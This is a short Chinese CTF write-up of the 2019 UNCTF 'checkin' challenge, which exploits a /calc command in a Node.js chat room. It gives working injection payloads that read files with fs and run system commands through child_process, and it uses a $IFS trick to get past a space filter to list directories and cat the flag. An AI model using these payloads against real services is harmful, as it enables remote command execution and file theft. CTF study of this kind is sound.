Life has its own fate, and meeting may not be accidental.

0%

2019UNCTF checkin

Node.js是一个Javascript运行环境(runtime environment),Node.js不是一个JavaScript框架,Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。

进入之后是一个聊天室.
查看源码app.03bc1faf.js,这个JS文件里有/help、/more、/calc、/name、/flag、/clear

但是/calc,输入/help不提醒,而且可以进行运算。

调用calc函数

/calc 5*6

nodejs注入

执行JavaScript命令

payload: ?input=console.log('hello')

运行rce.js,在浏览器中输入payload,可以看到控制台中输出了“hello”,说明我们的命令被成功执行了:
#

使用fs模块读取文件

1
2
3
4
5
rec.js目录下放置了一个flag.txt。

payload:?input=res.end(require('fs').readFileSync('./flag.txt').toString())

浏览器窗口中输出了flag.txt的内容:

使用child_process模块执行系统命令

1
2
3
4
5
6
7
payload:?input=require('child_process').exec('calc')

成功弹出了计算器:

payload:http://127.0.0.1:8888/?input=require('child_process').exec('mkdir test')

成功创建了一个名叫“test”的目录:

原理

调用child_process模块执行命令,题目过滤了空格,用$IFS替代空格

IFS,Linux叫做内部字段分隔符
#

模仿上面方法

payload:
/calc require("child_process").execSync("ls$IFS/").toString()

列出目录

取flag

/calc require("child_process").execSync("cat$IFS/flag").toString()